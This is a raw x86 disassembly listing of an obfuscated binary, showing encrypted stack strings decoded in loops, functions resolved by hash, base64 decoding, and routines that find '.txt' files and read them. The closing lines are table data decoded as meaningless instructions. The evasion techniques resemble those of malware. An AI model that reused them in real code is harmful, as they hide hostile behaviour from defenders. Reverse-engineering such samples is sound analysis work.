cmp dword [edi + esi*8], 0x625b6034
je 0x42bb18
inc esi
cmp ecx, esi
jne 0x42bae0
jmp 0x42bb20
jmp dword [0x44d60c]
push ebx
call fcn.0040c640
add esp, 4
mov ecx, dword [esp + 0xb0]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44d564]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42bb2a
lea edi, [esp + 0x20]
jmp dword [0x44d5f4]
push eax
push 1
push dword [0x45145c]
push ecx
call fcn.00441840
add esp, 0x10
lea edi, [esp + 0x20]
jmp dword [0x44d5f4]
mov dword [esp + 0xa0], esi
jmp dword [0x44d5a8]
mov eax, dword [esp + 0xac]
lea esi, [eax + 0x10]
mov edi, dword [esp + 0x94]
jmp dword [0x44d5d0]
jmp case.0x429c64.153
push eax
call fcn.0040c630
add esp, 4
jmp dword [0x44d5d8]
mov eax, esi
cmp edi, 0xfffffff8
jge 0x42bb70
mov eax, 0xffffffff
jmp 0x42bb70
mov ebp, eax
mov dword [esp + 0x20], 0x31da3f0d
mov dword [esp + 0x24], 0x350c33c0
mov dword [esp + 0x28], 0xc9be37c0
mov dword [esp + 0x2c], 0xcdcacb3c
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0xf
ja 0x42bc0a
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x20]
lea edx, [eax + ecx]
add edx, 0xf348bdf5
add eax, 0xf348bdf5
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
add al, 0x37
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x20], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x10
jb 0x42bbc0
mov eax, dword [esp + 0x5c]
movzx ecx, word [eax]
mov eax, ebp
test cx, cx
mov esi, dword [esp + 0xa0]
je 0x42bc41
mov eax, dword [esp + 0x5c]
lea edx, [eax + 2]
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42bc30
mov word [eax], 0
movzx ecx, word [esp + 0x20]
test cx, cx
je 0x42bc71
lea edx, [esp + 0x22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42bc60
mov word [eax], 0
mov ecx, dword [esp + 0xfc]
push dword [esp]
push dword [esp + 8]
push ebp
call fcn.0040d060
mov ebx, eax
jmp dword [0x44d5dc]
push ebp
call fcn.0040c640
add esp, 4
push 0xe050b307
push dword [0x451448]
call fcn.00444110
add esp, 8
push dword [esp + 4]
call eax
jmp dword [0x44d5e4]
push dword [esp + 0x10]
call fcn.0040c640
add esp, 4
push dword [esp + 0x8c]
call fcn.00404770
add esp, 4
mov ebp, dword [esp + 0xa4]
jmp dword [0x44d5ec]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44d5b4]
xor ebx, ebx
mov esi, dword [esp + 0xa0]
jmp dword [0x44d5e4]
push dword [esp + 0x8c]
call fcn.00404500
add esp, 4
mov dword [esp + 0x20], 0xf8f5f6fb
mov dword [esp + 0x24], 0xefe2ecea
mov dword [esp + 0x28], 0xf0ecfc22
mov dword [esp + 0x2c], 0xe7eae4e2
mov dword [esp + 0x30], 0x1005f5f5
mov word [esp + 0x34], 0x1c09
mov byte [esp + 0x36], 0xa2
mov byte [edi + 0x19], 0
mov word [edi + 0x17], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x19
ja 0x42bda7
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x20]
mov esi, ecx
not esi
or esi, 0x213a1aee
add esi, ecx
xor ecx, 0xa13a1aee
lea ecx, [ecx + esi*2]
add ecx, 2
xor ecx, edx
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x60]
add cl, 0x5a
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x1a
jb 0x42bd60
push edi
push eax
call fcn.00404640
add esp, 8
mov edx, 0xffffffff
mov esi, 0xfffffffd
nop
nop
nop
nop
nop
mov ecx, edx
add esi, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42bdc0
shr esi, 2
movzx ecx, byte [eax + edx - 1]
cmp ecx, 0x3d
je 0x42bde1
cmp ecx, 0x2e
jne 0x42bde2
dec esi
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
mov dword [esp + 0x58], eax
mov dword [esp + 0x1c], edx
je 0x42bdf9
cmp ecx, 0x2e
jne 0x42bdfa
dec esi
mov dword [esp + 0x88], esi
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0x10], eax
cmp dword [esp + 0x1c], 0
je 0x42bf0e
xor ebp, ebp
mov esi, 2
jmp 0x42be42
mov ebp, ebx
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x42bf0e
mov edi, dword [esp + 0x58]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.0041f7b0
add esp, 4
mov bh, al
movzx eax, byte [edi + esi - 1]
push eax
call fcn.0041f7b0
mov edx, dword [esp + 0x20]
add esp, 4
shl bh, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bh
lea ebx, [ebp + 1]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x54], ebp
mov byte [ecx + ebp], ah
cmp esi, edx
jae 0x42be30
mov byte [esp + 0xf], al
movzx eax, byte [edi + esi]
push eax
call fcn.0041f7b0
mov edx, dword [esp + 0x20]
add esp, 4
cmp al, 0x40
mov ebp, ebx
je 0x42be32
mov ebx, eax
movzx eax, al
mov bh, byte [esp + 0xf]
shl bh, 4
mov ecx, eax
not ecx
or ecx, 0x3c
add eax, ecx
inc eax
shr eax, 2
add al, bh
mov edi, dword [esp + 0x54]
lea ebp, [edi + 2]
mov ecx, dword [esp + 0x10]
mov byte [ecx + edi + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x42be32
mov eax, dword [esp + 0x58]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.0041f7b0
mov edx, dword [esp + 0x20]
add esp, 4
cmp al, 0x40
je 0x42be32
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x10]
mov ebp, dword [esp + 0x54]
mov byte [ecx + ebp + 2], al
add ebp, 3
jmp 0x42be32
mov eax, dword [esp + 0x88]
add eax, 0xfffffffb
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
add eax, 5
mov dword [esp + 0x18], eax
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x451460]
call fcn.00444110
add esp, 8
mov ecx, esp
lea edx, [esp + 0x14]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
lea edi, [esp + 0x20]
jmp dword [0x44d5b0]
push dword [esp + 0x8c]
call fcn.00404500
add esp, 4
mov dword [esp + 0x20], 0xf8f5f6fb
mov dword [esp + 0x24], 0xefe2ecea
mov dword [esp + 0x28], 0xf0ecfc22
mov dword [esp + 0x2c], 0xe7eae4e2
mov dword [esp + 0x30], 0x1005f5f5
mov word [esp + 0x34], 0x1c09
mov byte [esp + 0x36], 0xa2
mov byte [edi + 0x19], 0
mov word [edi + 0x17], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x19
ja 0x42c017
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x20]
mov esi, ecx
not esi
or esi, 0x213a1aee
add esi, ecx
xor ecx, 0xa13a1aee
lea ecx, [ecx + esi*2]
add ecx, 2
xor ecx, edx
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x60]
add cl, 0x5a
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x1a
jb 0x42bfd0
push edi
push eax
call fcn.00404640
add esp, 8
mov edx, 0xffffffff
mov esi, 0xfffffffd
nop
nop
nop
nop
nop
mov ecx, edx
add esi, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42c030
shr esi, 2
movzx ecx, byte [eax + edx - 1]
cmp ecx, 0x3d
je 0x42c051
cmp ecx, 0x2e
jne 0x42c052
dec esi
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
mov dword [esp + 0x58], eax
mov dword [esp + 0x10], edx
je 0x42c069
cmp ecx, 0x2e
jne 0x42c06a
dec esi
mov dword [esp + 0x88], esi
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0x54], eax
cmp dword [esp + 0x10], 0
je 0x42c18a
xor ebp, ebp
mov esi, 2
jmp 0x42c0b4
mov ebp, dword [esp + 0x1c]
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x42c18a
mov edi, dword [esp + 0x58]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.0041f7b0
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.0041f7b0
mov edx, dword [esp + 0x14]
add esp, 4
shl bl, 2
mov ecx, eax
shr cl, 4
and cl, 3
or cl, bl
lea ebx, [ebp + 1]
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x54]
mov byte [ebx + ebp], cl
cmp esi, edx
jae 0x42c0a0
mov ebx, ebp
mov byte [esp + 0xf], al
movzx eax, byte [edi + esi]
push eax
call fcn.0041f7b0
mov edx, dword [esp + 0x14]
add esp, 4
cmp al, 0x40
mov ebp, dword [esp + 0x1c]
je 0x42c0a4
mov byte [esp + 0x1c], al
movzx eax, al
movzx ecx, byte [esp + 0xf]
shl cl, 4
mov edx, eax
not edx
or edx, 0x3c
add eax, edx
inc eax
mov edx, dword [esp + 0x10]
shr eax, 2
add al, cl
lea ebp, [ebx + 2]
mov ecx, dword [esp + 0x54]
mov byte [ecx + ebx + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x42c0a4
mov eax, dword [esp + 0x58]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.0041f7b0
mov edx, dword [esp + 0x14]
add esp, 4
cmp al, 0x40
movzx ecx, byte [esp + 0x1c]
je 0x42c0a4
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x54]
mov byte [ecx + ebx + 2], al
add ebx, 3
mov ebp, ebx
jmp 0x42c0a4
mov eax, dword [esp + 0x88]
add eax, 0xfffffffb
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x54]
add eax, 5
mov dword [esp + 0x18], eax
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x451460]
call fcn.00444110
add esp, 8
mov ecx, esp
lea edx, [esp + 0x14]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
lea edi, [esp + 0x20]
jmp case.0x429c64.143
jmp dword [0x44d614]
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44d620]
mov eax, dword [esp + 0x90]
and al, 1
add esp, 0xe8
pop esi
pop edi
pop ebx
pop ebp
ret
xor ebx, ebx
jmp dword [0x44d78c]
push dword [esp + 0x7c]
call fcn.0040c640
add esp, 4
jmp dword [0x44d798]
jmp dword [0x44d62c]
jmp dword [0x44d67c]
lea ebx, [ebp + 0xa]
movzx eax, byte [ebp + 0xa]
xor esi, esi
test al, al
je 0x42c490
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x42c4c0
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42c4b0
jmp 0x42c490
mov esi, ecx
jmp dword [0x44d67c]
mov ecx, esi
sub ecx, ebx
xor eax, eax
mov dword [esp + 0x18], ecx
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x44d694]
xor eax, eax
cmp byte [esi - 1], 0x74
setne al
jmp dword [eax*4 + 0x44d69c]
xor eax, eax
cmp byte [esi - 2], 0x78
setne al
jmp dword [eax*4 + 0x44d6b4]
xor eax, eax
cmp byte [esi - 3], 0x74
setne al
jmp dword [eax*4 + 0x44d6cc]
xor eax, eax
cmp byte [esi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44d6d4]
jmp dword [0x44d6e4]
mov eax, dword [esp + 0x18]
lea edi, [eax + 1]
mov eax, edi
add eax, edi
mov dword [esp + 0x84], eax
setb byte [esp + 0xb]
mov dword [esp + 0x20], edi
jmp dword [0x44d6f0]
xor edx, edx
mov ecx, dword [esp + 0x10]
jmp 0x42c558
add ecx, 2
test si, si
je 0x42c569
mov eax, edx
movzx esi, word [ecx]
mov edx, ecx
cmp si, 0x5c
je 0x42c550
mov edx, eax
jmp 0x42c550
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44d714]
xor ebp, ebp
xor eax, eax
jmp 0x42c58c
sub eax, dword [esp + 0x10]
sar eax, 1
lea ebp, [eax + 1]
not eax
add eax, dword [esp + 0x18]
lea esi, [esp + 0x31]
add eax, 0x1b
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x30], 0x282a28fb
mov dword [esp + 0x34], 0x2fd92b2e
mov dword [esp + 0x38], 0x2ec89328
mov dword [esp + 0x3c], 0xe4232c2c
mov dword [esp + 0x40], 0x323e3ac6
mov dword [esp + 0x44], 0xf0cac838
mov dword [esp + 0x48], 0xa2f2f1
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1b
ja 0x42c636
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
mov edx, eax
xor edx, 0xf81cea1f
and eax, 0xf81cea1f
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov ecx, eax
not ecx
and ecx, 0x9b
and eax, 0x64
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1c
jb 0x42c5f0
mov dword [esp + 0x14], edi
movzx edx, byte [esp + 0x30]
mov eax, dword [esp + 0xc]
test dl, dl
mov ecx, dword [esp + 0xa0]
je 0x42c66b
mov eax, dword [esp + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x42c660
mov esi, ebp
mov edx, dword [esp + 0x18]
xor esi, edx
mov edi, ebp
not edi
and edi, edx
add edi, edi
mov dword [esp + 0x18], edi
mov byte [eax], 0
sub edi, esi
je 0x42c6b9
add ebx, ebp
mov ebp, edi
and ebp, 3
je 0x42c6c1
mov dword [esp + 0x20], esi
xor esi, esi
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
mov byte [eax + esi], dl
inc esi
cmp ebp, esi
jne 0x42c695
add eax, esi
sub edi, esi
mov ebp, eax
mov ecx, dword [esp + 0xa0]
mov esi, dword [esp + 0x20]
jmp 0x42c6c1
mov ebp, eax
mov esi, dword [esp + 0xc]
jmp 0x42c707
sub esi, dword [esp + 0x18]
cmp esi, 0xfffffffc
mov esi, dword [esp + 0xc]
ja 0x42c707
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
mov byte [eax], dl
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
mov byte [eax + 1], dl
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
mov byte [eax + 2], dl
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
lea ebp, [eax + 4]
mov byte [eax + 3], dl
mov eax, ebp
add edi, 0xfffffffc
jne 0x42c6ce
mov byte [ebp], 0
push dword [esp + 0x80]
mov edi, dword [esp + 0x18]
push edi
push esi
call fcn.0040d200
mov ecx, dword [esp + 0x24]
and cl, 1
or cl, al
mov dword [esp + 0x24], ecx
jmp dword [0x44d71c]
push esi
call fcn.0040c640
add esp, 4
jmp dword [0x44d734]
push dword [esp + 0x10]
call fcn.0040c640
add esp, 4
mov ebx, esi
jmp case.0x429c64.190
jmp dword [0x44d734]
push edi
call fcn.0040c640
add esp, 4
mov eax, dword [case.0x429c64.230]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x30], 0x686b6aca
mov byte [esp + 0x34], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x42c7ec
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x30]
mov esi, ecx
xor esi, 0xb9883967
and ecx, 0x39883967
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0xfd
mov edx, dword [esp]
mov byte [esp + edx + 0x30], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x42c7a0
mov ecx, dword [0x451454]
test ecx, ecx
je case.0x429c64.249
mov edx, dword [esp + 0x30]
xor esi, esi
mov edi, dword [0x451458]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x42c823
inc esi
cmp ecx, esi
jne 0x42c810
jmp case.0x429c64.249
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x429c64.249
push eax
push 1
push dword [0x45145c]
push ecx
call fcn.00441840
add esp, 0x10
jmp case.0x429c64.249
mov eax, 0xffffffff
cmp byte [esp + 0xb], 0
jne 0x42c855
lea eax, [edi + edi]
push eax
call fcn.0040c630
add esp, 4
mov ecx, eax
lea edx, [eax + edi*2]
mov edi, esi
test esi, esi
jne 0x42c87b
lea eax, [ebp + 9]
nop
nop
nop
nop
lea edi, [eax + 1]
cmp byte [eax + 1], 0
mov eax, edi
jne 0x42c870
mov dword [esp + 0x30], 0
add edx, 0xfffffffe
mov dword [esp + 0x14], edx
cmp ecx, edx
jae 0x42c8db
cmp ebx, edi
jae 0x42c8db
mov edx, edi
mov edi, ebx
mov dword [esp + 0x10], edx
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x42c8db
lea eax, [esp + 0x30]
push eax
push edx
push edi
mov dword [esp + 0x18], ecx
call fcn.00410e30
add esp, 0xc
movzx ecx, word [esp + 0x30]
mov edx, dword [esp + 0xc]
mov word [edx], cx
mov ecx, dword [esp + 0xc]
add ecx, 2
cmp ecx, dword [esp + 0x14]
jae 0x42c8db
add edi, eax
mov edx, dword [esp + 0x10]
cmp edi, edx
jb 0x42c8a0
mov word [ecx], 0
mov edi, dword [esp + 0x20]
mov eax, 0xffffffff
cmp byte [esp + 0xb], 0
jne 0x42c8f7
mov eax, dword [esp + 0x84]
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0x10], eax
lea ecx, [eax + edi*2]
mov edi, esi
mov dword [esp + 0x78], esi
test esi, esi
jne 0x42c92b
lea eax, [ebp + 9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edi, [eax + 1]
cmp byte [eax + 1], 0
mov eax, edi
jne 0x42c920
mov dword [esp + 0x30], 0
add ecx, 0xfffffffe
mov eax, dword [esp + 0x10]
mov esi, eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov ecx, eax
jae 0x42c997
mov ecx, dword [esp + 0x10]
cmp ebx, edi
jae 0x42c997
mov ecx, dword [esp + 0x10]
mov esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x42c997
lea eax, [esp + 0x30]
push eax
push edi
push esi
mov dword [esp + 0x18], ecx
call fcn.00410e30
add esp, 0xc
movzx ecx, word [esp + 0x30]
mov edx, dword [esp + 0xc]
mov word [edx], cx
mov ecx, dword [esp + 0xc]
add ecx, 2
cmp ecx, dword [esp + 0x14]
jae 0x42c997
add esi, eax
cmp esi, edi
jb 0x42c960
mov word [ecx], 0
mov esi, dword [esp + 0x78]
mov edi, dword [esp + 0x20]
jmp dword [0x44d6f4]
lea eax, [esp + 0x28]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x20]
call fcn.00444c60
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d6fc]
lea eax, [esp + 0x80]
push 0
push eax
push dword [esp + 0x30]
call fcn.00444fc0
add esp, 0xc
test eax, eax
setns al
mov esi, dword [esp + 0x80]
cmp esi, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44d704]
jmp dword [0x44d750]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x30], 0x686b6aca
mov byte [esp + 0x34], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x42ca7c
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x30]
mov esi, ecx
xor esi, 0xb9883967
and ecx, 0x39883967
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0xfd
mov edx, dword [esp]
mov byte [esp + edx + 0x30], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x42ca30
mov ecx, dword [0x451454]
test ecx, ecx
je 0x42cab8
mov edx, dword [esp + 0x30]
xor esi, esi
mov edi, dword [0x451458]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x42cab0
inc esi
cmp ecx, esi
jne 0x42caa0
jmp 0x42cab8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42cb09
jmp dword [0x44d758]
mov eax, dword [case.0x429c64.254]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0x78]
mov ebx, esi
lea edi, [esp + 0x30]
jmp dword [0x44d76c]
push esi
call fcn.0040c630
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x34]
call fcn.004450a0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d70c]
push eax
push 1
push dword [0x45145c]
push ecx
call fcn.00441840
add esp, 0x10
jmp dword [0x44d758]
mov dword [esp + 0x30], 0xd2dedcd6
mov dword [esp + 0x34], 0xded5d8da
mov dword [esp + 0x38], 0x429d87
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xb
ja 0x42cb99
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
mov edx, eax
xor edx, 0x943e5e13
and eax, 0x143e5e13
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
add al, 0xa1
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xc
jb 0x42cb60
movzx ecx, byte [esp + 0x30]
test cl, cl
je 0x42cbe0
mov eax, edi
mov ebp, ebx
jmp 0x42cbb7
movzx ecx, byte [eax]
test cl, cl
je 0x42cbf2
movzx edx, byte [ebx]
test dl, dl
je 0x42cbf0
inc eax
inc ebx
lea esi, [ebp + 1]
cmp dl, cl
je 0x42cbcb
mov ebp, esi
mov ebx, esi
je 0x42cbb0
lea eax, [esp + 0x30]
jmp 0x42cbb0
mov ebp, ebx
jmp 0x42cbf2
xor ebp, ebp
xor eax, eax
test ebp, ebp
sete al
jmp dword [eax*4 + 0x44d66c]
jmp dword [0x44d648]
mov esi, dword [esp + 0x2c]
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x28]
call fcn.004450a0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 0x2c]
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x28]
call fcn.004450a0
add esp, 0x10
jmp dword [0x44d650]
mov dword [esp + 0x74], ebx
not eax
shr eax, 0x1f
mov dword [esp + 0x24], 0
jmp dword [eax*4 + 0x44d654]
mov ebx, dword [esp + 0x24]
mov esi, dword [esp + 0x74]
jmp dword [0x44d774]
jmp dword [0x44d780]
push esi
call fcn.0040c640
add esp, 4
nop
nop
nop
push esi
call fcn.0040c640
add esp, 4
jmp dword [0x44d784]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x74]
mov byte [ecx + eax], 0
mov eax, dword [case.0x429c64.190]
mov ebx, dword [esp + 0x74]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x24], 0
jmp eax
nop
nop
nop
nop
nop
nop
jmp dword [0x44d7a0]
mov eax, ebx
add esp, 0x8c
pop esi
pop edi
pop ebx
pop ebp
ret
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44d63c]
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x30], 0x686b6aca
mov byte [esp + 0x34], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x42cd6c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x30]
mov esi, ecx
xor esi, 0xb9883967
and ecx, 0x39883967
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0xfd
mov edx, dword [esp]
mov byte [esp + edx + 0x30], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x42cd20
mov ecx, dword [0x451454]
test ecx, ecx
je 0x42cda8
mov edx, dword [esp + 0x30]
xor esi, esi
mov edi, dword [0x451458]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x42cda0
inc esi
cmp ecx, esi
jne 0x42cd90
jmp 0x42cda8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42cdb7
and bl, 1
jmp dword [0x44d78c]
jmp dword [0x44d798]
push eax
push 1
push dword [0x45145c]
push ecx
call fcn.00441840
add esp, 0x10
and bl, 1
jmp dword [0x44d78c]
lea eax, [esp + 0x2c]
push 0
push eax
push dword [esp + 0x24]
call fcn.00444fc0
add esp, 0xc
lea eax, [esp + 0x2c]
push 0
push eax
push dword [esp + 0x24]
call fcn.00444fc0
add esp, 0xc
jmp dword [0x44d638]
pushfd
inc edx
add byte [eax - 0x64], dh
inc edx
add byte [eax - 0x56ffbd64], ah
pushfd
inc edx
add byte [eax - 0x47ffbd64], ah
pushfd
inc edx
add ah, cl
pushfd
inc edx
add ah, ah
pushfd
inc edx
add byte [eax], al
cdq
inc edx
add al, dh
cwde
inc edx
add bh, bh
pushfd
inc edx
add byte [eax], al
cdq
inc edx
add byte [ecx], dl
popfd
inc edx
add byte [ecx], bh
popfd
inc edx
add byte [esi + ebx*4 + 0x42], bl
add byte [ebp - 0x62], dh
inc edx
add byte [edx - 0x61], ah
inc edx
add byte [ebp - 0x76ffbd62], al
lahf
inc edx
add byte [edi + ebx*4 - 0x5164ffbe], bh
inc edx
add bh, bl
lahf
inc edx
add byte [edx - 0x5dffbd51], al
scasd eax, dword es:[edi]
inc edx
add byte [edx - 0x35ffbd51], al
scasd eax, dword es:[edi]
inc edx
add byte [edx - 0x51], ch
inc edx
add dl, bl
scasd eax, dword es:[edi]
inc edx
add byte [eax + esi*4], dh
inc edx
add dh, cl
lodsd eax, dword [esi]
inc edx
add byte [eax + esi*4], dh
inc edx
add byte [eax - 0x4fffbd53], dh
lodsd eax, dword [esi]
inc edx
add byte [eax - 0x4fffbd53], dh
lodsd eax, dword [esi]
inc edx
add al, dl
mov dword [0xa4100042], eax
inc edx
add byte [eax], dl
movsb byte es:[edi], byte [esi]
inc edx
add byte [eax], dl
movsb byte es:[edi], byte [esi]
inc edx
add byte [edx], dl
movsb byte es:[edi], byte [esi]
inc edx
add byte [eax + esi*4], dh
inc edx
add byte [eax], ah
movsb byte es:[edi], byte [esi]
inc edx
add byte [ebp - 0x57], al
inc edx
add byte [edx - 0x51], ch
inc edx
add byte [eax - 0x51], dh
inc edx
add byte [esi - 0x51], dh
inc edx
add byte [esi - 0x40ffbd53], dh
lodsd eax, dword [esi]
inc edx
add byte [esi - 0x51], dh
inc edx
add byte [esi - 0x7fffbd53], dh
scasd eax, dword es:[edi]
inc edx
add byte [eax - 0x64ffbd51], al
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x6cffbd51], al
lahf
inc edx
add dl, bl
test eax, 0xa9e80042
inc edx
add byte [ebp + 0x5e00429f], ch
lodsb al, byte [esi]
inc edx
